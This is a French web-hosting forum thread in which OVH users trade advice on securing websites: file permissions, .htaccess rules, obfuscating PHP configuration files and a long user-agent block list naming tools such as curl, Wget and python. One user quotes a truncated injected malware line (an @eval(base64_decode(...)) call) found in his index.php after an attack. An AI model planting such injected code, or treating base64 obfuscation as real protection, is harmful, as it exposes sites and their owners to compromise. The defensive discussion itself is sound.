- Pour les répertoires, OVH impose au minimum un 500 pour évitez d'avoir une erreur... 500 ;). Apache a de plus besoin d'accéder aux fichiers statiques, mais n'a pas besoin de pouvoir lister le contenu du répertoire. Un droit 501 (r-x --- --x) conviendra donc très bien à la config OVH.
En résumé :# find ~ -type d | xargs chmod 501
# find ~ -type f -name \*.php | xargs chmod 400
# find ~ -type f ! -name \*.php | xargs chmod 004
./www:
total 11K
dr-x-----x+ 2 abazada users 9 2009-08-31 06:33 .
dr-x-----x+ 3 abazada users 3 2009-08-27 07:24 ..
-r--------+ 1 abazada users 589 2009-08-31 06:46 conf.inc.php
-------r--+ 1 abazada users 711 2008-03-20 07:29 demo.html
-------r--+ 1 abazada users 318 2008-03-20 07:29 favicon.ico
-------r--+ 1 abazada users 308 2009-08-27 09:13 .htaccess
-r--------+ 1 abazada users 301 2008-03-23 06:46 index.php
-------r--+ 1 abazada users 114 2008-03-19 08:05 robots.txt
Bon, si *vraiment* vous avez besoin que vos applis ecrivent dans le www (très mauvaise idée) à vous de rejouter les "chmod u+w" qui vont bien.
2- Règles de filtrage par htaccess. Permet d'arrêter de nombreuses attaques avant de toucher votre site web. Voir les 2 articles ici http://forum.ovh.com/showpost.php?p=103757 et là http://forum.ovh.com/showpost.php?p=103758
Là aussi des bonnes idées dans le lot, mais juste une question : Vous rendez-vous bien compte de la charge de travail que représente pour le serveur à chaque requête http l'ensemble de ces règles ! :eek:
Si quelqu'un les a mises en place, j'aimerais bien savoir combien de temps on perd à chaque appel à une simple page HTML. Les RewriteCond, RewriteRule et autres ne sont pas gratuites en CPU...
Il faudrait - à mon avis - se limiter à quelques petites règles importantes. C'est en entrée de votre appli que doit être fait le vrai travail de filtrage.
à suivre... :)
Un droit 400 (r-- --- ---) est largement suffisant.
Je l'avais proposé mais il y a un an et demi le serveur mutualisé d'OVH ne l'acceptait plus et causait une erreur. Il semble que cela remarche à nouveau. Mais à cause de cet incident, je ne le propose plus. Mais tu as raison sur le principe.
Vous rendez-vous bien compte de la charge de travail que représente pour le serveur à chaque requête http l'ensemble de ces règles !
Moins de 1 dixième de seconde.
lodemars
03/01/2010, 16h07
Bonjour, merci et bravo pour cette mine de conseil.
J'ai une question simpliste, (mais je m'améliore, ;)) à propos de la rubrique concernant le fichier .htaccess.
Tu dis : Appelez-le "txt.htaccess", envoyez-le par FTP dans votre dossier www et renommez-le en ".htaccess". Puis donnez-lui par FTP les droits 404. Il ne sera pas modifiable.
A l'intérieur de mon dossier, j'ai plusieurs dossiers, chacun consacré à un site puisque j'utilisie le multi site sur mon 90plan. Est ce que cela change quelque chose? Dois je par exemple mettre le text.htaccess dans chaque dossier?
Dois je par exemple mettre le text.htaccess dans chaque dossier?
Non, juste dans le dossier www. C'est pour éviter le parasitisme entre les htaccess que je propose de ne pas mettre tous les dossiers du multi-domaines dans www mais à côté (voir mon tutoriel sur cette question).
lodemars
05/01/2010, 23h26
Non, juste dans le dossier www. C'est pour éviter le parasitisme entre les htaccess que je propose de ne pas mettre tous les dossiers du multi-domaines dans www mais à côté (voir mon tutoriel sur cette question).
Oui, depuis j'ai vu qu'il n'y avait aucune obligation à tout mettre dans le www. Merci de la réponse.
gougougne
04/03/2010, 10h53
Bonjour,
Ce site ne semble plus exister :
Crypter son fichier config.inc.php
http://www.btt-scripts.com/demo/encrypt/
J'ai trouvé ce site :
http://www.byterun.com/free-php-encoder.php
le cryptage fonctionne mais a l'air moins sécurisé.
Qu'en pensez vous ?
Avez-vous une autre adresse ?
Merci de votre aide.
Ce n'est pas un cryptage au sens strict mais un camouflage ("obfuscation" en anglais) du code PHP. Aucun n'est sûr, c'est juste illisible à un oeil humain, mais facile à décoder. En fait, aucun n'est sécurisé, c'est même très facile à contourner pour celui qui a un minium de connaissance en PHP. Mais comme le pirate n'est pas du genre patient, car il cherche des cibles faciles, on lui complique la tâche. C'est comme dans la vrai vie, on n'est pas là pour lui faciliter le vol. Tout ce qui peut allonger son temps d'infraction est bon à prendre, ça le gênera, mais ne le bloquera pas s'il est réellement motivé.
On trouve l'équivalent ici:
http://www.scriptomart.com/obfuscate/
ou celui-ci:
http://www.rightscripts.com/phpencode/
gougougne
05/03/2010, 08h16
Merci pour la réponse.
J'avais bien compris le fait que ce n'était pas une solution sécurisée.
mduchaff
23/04/2010, 20h13
Crypter son fichier config.inc.php
Malgré toutes les précautions, le pirate a pénétré votre site et cherche maintenant à connaître les login et mot de passe de votre base MySQL pour la pirater, la vider et en prendre le contrôle. On peut lui compliquer la tâche en cryptant ces données sensibles. Le serveur web pourra lire ces informations facilement, mais elles ne seront pas lisibles directement par un œil humain.
Pour un expert en PHP, cette protection ne dure que 2 minutes, cela lui fait du travail en plus, mais nous ne sommes pas là pour lui faciliter la tâche ?
Visitez un de ces sites web et cryptez vos données.
http://www.btt-scripts.com/demo/encrypt/ - http://www.scriptomart.com/obfuscate/ - http://www.rightscripts.com/phpencode/ - http://www.encodephp.com/
Par exemple, mon fichier config.php contient ceci:
<?php
//** MySQL settings **//
$db_server = "mysql5-1";
$db_name = "nombasesql";
$db_username = "loginsql";
$db_password = "motdepasse";
?>
Je copie la partie à encoder entre les balises <?php et ?>
Je choisis l'encodage "PHP - Extrastrength". Ne cherchez pas un encodage plus élevé, j'ai constaté des erreurs sur les serveurs mutualisés d'OVH.
Je copie la longue ligne qui commence par eval(xxxx entre les balises <? et ?> et le colle dans le fichier config.inc.php, ce qui donne:
<?php
eval(gzuncompress(gzinflate(base64_decode('AXEAjv9 42tPX19JS8K0MDvRRKE4tKcnMSy9W0NLS1+flUklJii9OLSpLL VJQULBVUMqtLC7MMdU1VLKGyOUl5qYqKEDk8vJzkxKLU4EKYLK lQK1gFUDZnPz0zDwkuYLE4uLy/KIUsKn5JSmpIIFUkCwAmYgq2g=='))));
?>
Ainsi, vous pouvez occulter toutes les informations sensibles.
Et attribuez par FTP les droits 404 à votre fichier config.inc.php (ou équivalent).
Merci pour ces conseils. Et comme je ne suis pas trop expert en PHP, j'ai besoin d'un peu plus de conseils. Avec Joomla, le fichier de config est de la forme
<?php
class JConfig {
var $generator_tag = '';
var $offline = '0'
}
?>
et lorsque j'essaie d'inclure la fonction eval(gzinflate(base64_decode('Dd...');
ça ne marche pas !
Bonjour, je ne sais pas si c'est ici ou comme ceci qu'on pose une question, mais comme je ne vois pas d'autre solution je me lance.
Quelqu'un pourrait il me dire comment on désactive le 'register_globals' .
J'ai lu dans ce post beaucoup de lignes concernants ce cas et j'en ai retenu une mais je ne sais pas si c'est la bonne, et surtout comment on le place.
Il s'agit de ce "script" SetEnv REGISTER_GLOBALS 0
Si c'est bon, comment fait on avec ça.
Merci pour votre aide
ddehem
Gaston_Phone
14/06/2010, 18h50
à mettre au début du fichier .htaccess (situé sur la racine www) :
Options -Indexes
Options -Multiviews
Options +FollowSymLinks
SetEnv REGISTER_GLOBALS 0
SetEnv PHP_VER 5
RewriteEngine On
Bonsoir Gaston_phone
Merci pour ta réponse.
Ce fichier .htaccess peut ne contenir que ces informations?
J'édite pour confirmer que ça fonctionne alors qu'avec d'autres scripts .htaccess, j'avais une erreur à l'ouverture du site. Merci Gaston_Phone.
Amicalement
ddehem
Ce fichier .htaccess peut ne contenir que ces informations?
Ce sujet, nommé Sécuriser et protéger son site web des attaques des pirates et hackers (http://forum.ovh.com/showthread.php?t=19263) comporte 9 pages, pas que la réponse de Gaston_phone.
Commence à lire au début !!!
Résultat : t'aura la réponse de ta question.
Bonus : tu saura de quoi faire avec car c'est presque indispensable ;)
Bonsoir,
je vais lire les 9 pages du forum ;-) mais si je pense que mon espace serveur sur OVH est hacké, quelles sont les premières actions à faire pour sécuriser un peu tout ?
Tout supprimer sur le serveur ?
Merci.
CrawlTrack
04/07/2010, 23h45
Bonsoir à tous,
Une info en passant, CrawlProtect (http://www.crawlprotect.com/fr) vient de sortir en version 2.0.0.
Ce script peut vous aidez à sécuriser votre site en vous facilitant l'application de certains conseils de ce thread.
Mais n'oubliez pas de lire l'ensemble du thread pour mettre le maximum de chance de votre coté.
A+
Jean-Denis
Gaston_Phone
05/07/2010, 23h23
Bonjour,
Quelle sont les différences entre CrawlTrack et CrawlProtect ?
Merci d'avance.
###FILTRE CONTRE ROBOTS DES PIRATES ET ASPIRATEURS DE SITE WEB
### LISTE ICI: http://www.bg-pro.com/?goto=badbot
RewriteEngine On
## EXCEPTION: TOUS LES ROBOTS MEMES ANONYMES OU BANNIS PEUVENT ACCEDER A CES FICHIERS
RewriteCond %{REQUEST_URI} !^/robots.txt
RewriteCond %{REQUEST_URI} !^/sitemap.xml
## EXCEPTION: SI UTILISATION DE *PAYPAL INSTANT NOTIFICATION PAYMENT*, COMME PAYPAL N'UTILISE PAS DE HTTP_USER_AGENT, L'IPN NE MARCHERA PAS.
RewriteCond %{REQUEST_URI} !^/paypal-ipn.php
##
RewriteCond %{HTTP_USER_AGENT} ^-?$ [OR] ## ANONYMES
RewriteCond %{HTTP_USER_AGENT} ^[bcdfghjklmnpqrstvwxz\ ]{8,}|^[0-9a-z]{15,}|^[0-9A-Za-z]{19,}|^[A-Za-z]{3,}\ [a-z]{4,}\ [a-z]{4,} [OR] ## CEUX QUI INVENTENT DES NOMS AU HASARD
RewriteCond %{HTTP_USER_AGENT} ^<sc|<\?|8484\ Boston\ Project|autoemailspider|@nonymouse|ADSARobot|Advan ced\ Email\ Extractor|^adwords|ah-ha|aktuelles|amzn_assoc|Anarchie|anonymous|Art-Online|ASPSeek|ASSORT|ATHENS|Atomz|attach|autoemai lspider|BackWeb|Bandit|BatchFTP|bdfetch|big.brothe r|BlackWidow|blogsearchbot-martin|bmclient|Boston\ Project|BravoBrian\ SpiderEngine\ MarcoPolo|Bullseye|bumblebee|capture|CherryPicker| ChinaClaw|CICC|clipping|compatible\ \;|Crescent|Crescent\ Internet|Custo|cyberalert|Deweb|diagem|Digger|Digi marc|DIIbot|DirectUpdate|disco|DISCoFinder|Downloa der|Download\ Accelerator|Download\ Demon|Download\ Wonder|Drip|DSurf15a|DTS.Agent|EasyDL|eCatch|echo\ extense|ecollector|efp@gmx\.net|EirGrabber|EmailCo llector|EmailSiphon|Email\ Siphon|EmailWolf|Email\ Extractor|Express\ WebPictures|ExtractorPro [NC,OR] ## VRAIS ET FAUX ROBOTS NE RESPECTANT PAS LES REGLES
RewriteCond %{HTTP_USER_AGENT} EyeNetIE|fastlwspider|FavOrg|Favorites\ Sweeper|^Fetch|FEZhead|FileHound|flashget|FlashGet \ WebWasher|FlickBot|fluffy|frontpage|GalaxyBot|Gene ric|Getleft|GetRight|GetSmart|GetWeb!|GetWebPage|g igabaz|Girafabot|Go!Zilla|go-ahead-got-it|GornKer|Grabber|GrabNet|Grafula|Green\ Research|grub-client|grub\ crawler|hanzoweb|Harvest|hhjhj@yahoo|hloader|HMVie w|HomePageSearch|HTTPConnect|httpdown|httplib|Http Proxy|HTTP\ agent|http\ generic|HTTrack|ia_archive|IBM_Planetwide|IDBot|id-search|imagefetch|Image\ Stripper|Image\ Sucker|IncyWincy|Indy\ Library|informant|Ingelin|InterGET|InternetLinkAge nt|InternetSeer\.com|^Internet\ Explorer|Internet\ Ninja|IPiumBot|Iria|Irvine|Jakarta\ Commons|JBH*Agent [NC,OR] ## VRAIS ET FAUX ROBOTS NE RESPECTANT PAS LES REGLES
RewriteCond %{HTTP_USER_AGENT} JetCar|JOC|JOC\ Web\ Spider|JustView|Kapere|KWebGet|Lachesis|larbin|Lee chFTP|LexiBot|lftp|likse|Link*Sleuth|LINKS\ ARoMATIZED|LinkWalker|Mac\ Finder|Mag-Net|Magnet|Mass\ Downloader|MCspider|Microsoft\ URL|Microsoft\ Data|MIDown\ tool|minibot\(NaverRobot\)|Mirror|Missigua|Mister\ PiX|MJ12bot|MMMtoCrawl\/UrlDispatcherLLL|Movable\ Type|Moozilla|^Mozilla$|^MSIE|Murzillo|MSProxy|mul tithreaddb|nationaldirectory|Navroad|NearSite|NetA nts|NetCarta|NetMechanic|netprospector|NetResearch Server|NetSpider|NetZIP|NetZippy|NetZip\ Downloader|Net\ Vampire|NEWT|nicerspro|NICErsPRO|NPBot|Nutch|Nutsc rape/|Octopus|Offline\ Explorer|Offline\ Navigator|OmniExplorer|OpaL|Openfind|OpenTextSiteC rawler [NC,OR] ## VRAIS ET FAUX ROBOTS NE RESPECTANT PAS LES REGLES
RewriteCond %{HTTP_USER_AGENT} OrangeBot|PackRat|PageGrabber|Papa\ Foto|pavuk|pcBrowser|PersonaPilot|PingALink|Pockey |Program\ Shareware|Proxy|psbot|PSurf|psycheclone|^puf|Pump| PushSite|PussyCat|PycURL|python|QRVA|QuepasaCreep| RealDownload|Reaper|Recorder|ReGet|replacer|RepoMo nkey|almaden|Robozilla|Rover|RPT-HTTPClient|Rsync|SearchExpress|searchhippo|searcht erms\.it|Second\ Street\ Research|Seeker|Shai|sitecheck|SiteMapper|SiteSnag ger|SlySearch|SmartDownload|snagger|SpaceBison|Spe gla|SpiderBot|SqWorm|Star\ Downloader|Stripper|sucker|SuperBot|SuperHTTP|Surf bot|SurfWalker|SurveyBot|Szukacz|tAkeOut|tarspider |Teleport\ Pro|Telesoft|Templeton|TrackBack|TrueRobot|Turing| TurnitinBot [NC,OR] ## VRAIS ET FAUX ROBOTS NE RESPECTANT PAS LES REGLES
RewriteCond %{HTTP_USER_AGENT} TV33_Mercator|UIowaCrawler|URL_Spider_Pro|^user|^U ser\ Agent:\ |^User-Agent:\ |UtilMind|Vacuum|vagabondo|vayala|visibilitygap|vo bsub|VoidEYE|vspider|w3mir|WebaltBot|WebAuto|webba ndit|WebCapture|Webclipping|webcollage|webcollecto r|WebCopier|webcraft@bea|WebDAV|webdevil|webdownlo ader|Webdup|WebEmailExtractor|WebFetch|WebGo\ IS|WebHook|Webinator|WebLeacher|WEBMASTERS|WebMine r|WebMirror|webmole|WebReaper|WebSauger|WEBsaver|W ebsite\ eXtractor|Website\ Quester|WebSnake|Webster|WebStripper|websucker|web vac|webwalk|webweasel|WebWhacker|WebZIP|Web\ Data\ Extractor|Web\ Downloader|Web\ Image\ Collector|Web\ Sucker|web\.by\.mail|whizbang|WhosTalking|Widow|Wi dows|WISEbot|WISEnutbot|WUMPUS|Wweb|WWWOFFLE|Wysig ot|x-Tractor|Xaldon\ WebSpider|XGET|Yandex|Zeus|Zeus.*Webster [NC] ## VRAIS ET FAUX ROBOTS NE RESPECTANT PAS LES REGLES
RewriteCond %{HTTP_USER_AGENT} ^curl|^Fetch\ API\ Request|GT\:\:WWW|^HTTP\:\:Lite|httplib|^Java/1.|^Java\ 1.|^LWP|libWeb|libwww|^PEAR|PECL\:\:HTTP|PHPCrawl| ^Program\ Shareware|python|Rsync|Snoopy|^URI\:\:Fetch|WebDAV |^Wget [NC] ## BIBLIOTHEQUES / CLASSES HTTP DONT ON NE VEUT PAS. ATTENTION, CELA PEUT BLOQUER CERTAINES FONCTIONS DE VOTRE CMS. NE PAS TOUT EFFACER, MAIS CHERCHEZ LE NOM DE LA CLASSE HTTP CONCERNEE (DEMANDEZ AUX DEVELOPPEURS DE VOTRE CMS). CETTE LISTE BLOQUE 80% DES ROBOTS SPAMMEURS. IL FAUT LA CONSERVER.
RewriteRule (.*) - [F]
C'est quoi cette liste htaccess ? Tu bloque tout et n'importe quoi.
Avec ceci ^MSIE tu bloque tout les Internet Explorer, bien 70% de visiteurs en moins c'est clair tu va te protéger de tout là. :D
Autant faire un iptables -A INPUT --dport 80 -j DROP
Tu bloque Mj12bot qui n'a rien d'un moteur de recherche qui ne respecte pas les règles. Le seul qui est nuisible est celui ci :
RewriteCond %{HTTP_USER_AGENT} ^MJ12bot/v1\.0\.8.*$
RewriteRule .* - [F]
De plus filtrer via le user agent ne sert pas à grand choses, car il est facilement modifiable.
Donc ceux qui veulent perdre 70% de visiteurs peuvent utiliser ce htaccess
Tu bloque tout et n'importe quoi.
Avec ceci ^MSIE tu bloque tout les Internet Explorer, bien 70% de visiteurs en moins c'est clair tu va te protéger de tout là. :D
FAUX. Si tu connaissais le VRAI user-agent d'internet explorer tu n'écrirais pas cela.
Sache que, par exemple, le user agent de IE 7 est "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)". L'attribut "^MSIE" ne bloque par Internet Explorer, mais les user-agent dont la ligne commencent par MSIE. Donc, on bloque ceux qui prétendent être Internet Explorer, le vrai passe très bien.
De plus filtrer via le user agent ne sert pas à grand choses, car il est facilement modifiable.
C'est pour cela qu'on bloque ceux qui mettent un faux user-agent comme tu commences à le comprendre.
Donc ceux qui veulent perdre 70% de visiteurs peuvent utiliser ce htaccess
Merci de montrer les statistiques de fréquentation avant et après pour affirmer cela et ne pas désinformer à la légère quand on parle d'un sujet aussi grave.
FAUX. Si tu connaissais le VRAI user-agent d'internet explorer tu n'écrirais pas cela.
Tu crois connaître tout les user agent utilisé au monde par coeur ? Qui te dit qu'un software installer sur un Windows ne va pas le modifier le user agent ? Et tout les UA des smartphones tu les connais ?
Sache que, par exemple, le user agent de IE 7 est "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)". L'attribut "^MSIE" ne bloque par Internet Explorer, mais les user-agent dont la ligne commencent par MSIE. Donc, on bloque ceux qui prétendent être Internet Explorer, le vrai passe très bien.
Bon ok mauvais exemple, je viens de tester, mais ça ne change rien au problème que tu bloque beaucoup trop de UA.
Autre exemple avec ton htaccess tu bloc le browser Amaya et Lynx. Soit, pas trop grave car utiliser par peu de personnes, mais personnellement si j'ai un site web c'est pour qu'il soit visible de tous.
Et pourquoi je n'aurai pas le droit d'utiliser "MISE" où "Octopus" où "Internet Ninja" où encore "Mozilla super turbo browser" comme UA sur mon navigateur ? Ou alors ne pas avoir de UA du tout ?
Ta liste est tellement longue qu'il y a des doublons.
C'est pour cela qu'on bloque ceux qui mettent un faux user-agent comme tu commences à le comprendre.
Tu appel quoi un faux user agent ?
Merci de montrer les statistiques de fréquentation avant et après pour affirmer cela et ne pas désinformer à la légère quand on parle d'un sujet aussi grave.
Comme on ne connais pas 100% des UA c'est impossible à chiffrer, mais filtrer les UA que tu n'aime pas ou qui ont fait des trucs pas clair n'est pas une solution.
Et pour MJ12Bot tu n'a pas répondu ?
Regarder dans les logs le nom du User-Agent de Facebook et ajouter la ligne suivante au fichier .htaccess en début de liste, au-dessus de la ligne bloquant les user-agents anonymes (remplacer xxxxx par une partie du nom du user-agent), comme ceci:
RewriteCond %{HTTP_USER_AGENT} !xxxxxx [NC]
RewriteCond %{HTTP_USER_AGENT} ^-?$ [OR] ## ANONYMES
Je ne le trouve pas bien méchant. Il devrait en effet d'abord lire le fichier robots.txt, mais à part se connecter 15 fois par jour à la page d'index, il ne fait rien d'autre... Sinon, pour le bloquer, il suffit simplement d'ajouter le mot sosospider dans la liste des robots à bloquer (en n'oubliant de séparer son nom des autres avec une barre verticale comme celle-ci | ).
Bonjour,
Je rencontre le même problème avec facebook. Par contre j'ai du mal a trouver le USER-AGENT pour Facebook. Je dois être moins bon que 10cre...
Si quelqu'un pouvait me donner un coup de main pour le trouver ?
D'avance merci,
Nicolas
Bon bah en fait j'ai trouvé...
Je donne la solution au cas ou...
Le User-Agent de facebook pour le partage de lien est : facebookexternalhit/1.1
En tout cas merci pour ce thread qui m'a appris pas mas de choses.
Suite aux attaques des hackers turcs pendant les fêtes de fin d'année, j'ai mis à jour les règles de filtrage du fichier htaccess, seulement les règles 8 et 9.
Pour la règle 8, je précise la règle contre l'injection sql, en ajoutant le signe + à la suite d'une commande, pour éviter des faux positifs.
Pour la règle 9, j'ai ajouté la commande shell "concat" à filtrer.
Un ami a eu son site défacé et il a été spécifiquement visé, visé par un pirate, pas un robot. En analysant les logs, j'en ai profité pour mettre à jour ces règles.
balluzzo
29/01/2012, 23h13
Bonjour,
Mon htaccess a bien grossi maintenant avec vos conseils.
J'ai eu une attaque le mois dernier avec un proc/self/environ sur une faille avec un include php. Le support OVH m'a renvoyé vers plusieurs liens dont celui de ce forum.
J'ai traitée la faille en php.
c'est facile à tester car j'ai recopié l'url dans la barre d'adresse et validé.
Le 20 janvier le site a de nouveau été attaqué.
Dans les logs j'ai trouvé "GET /url(data:image/png;base64,iVBORw0KGgoAAAANS.... .
Puis dans mon fichier index.php il y avait ceci :
/*68066*/ error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval( base64_decode('ZXJyb3JfcmVwb3J........
une frame était crée et loadait depuis un site vérolé.
Ma première question est : La ligne que j'ai trouvé dans le log correspond t'elle à une attaque ? réponse: oui car je viens de me ré-attaquer en ajoutant la ligne en fin d'adresse www.monadresse/index.php?url(data:i....
Dans le fichier htaccess de enycu j'ai trouvé la ligne qui bloque le base64_decode
j'ai ajouté cette ligne en dessous :
RewriteCond %{QUERY_STRING} ^(.*)base64(.*)$ [OR]
Ma seconde question est donc : est ce ainsi qu'il faut procéder ?
Le terme base64 est il dans un query dans mon cas??
un print_r($_request) montre que la ligne correspond à un nom de variable [url(data:image/png;base64,iVBORw0KG....]=>
et non a une valeur de variable
après cette modif l'attaque fonctionne toujours !
merci de vos lumières ?
webmaster bénévole en detresse
vBulletin® v.3.8.4, Copyright ©2000-2012, Jelsoft Enterprises Ltd. Tous droits réservés - Version française vbulletin-fr.org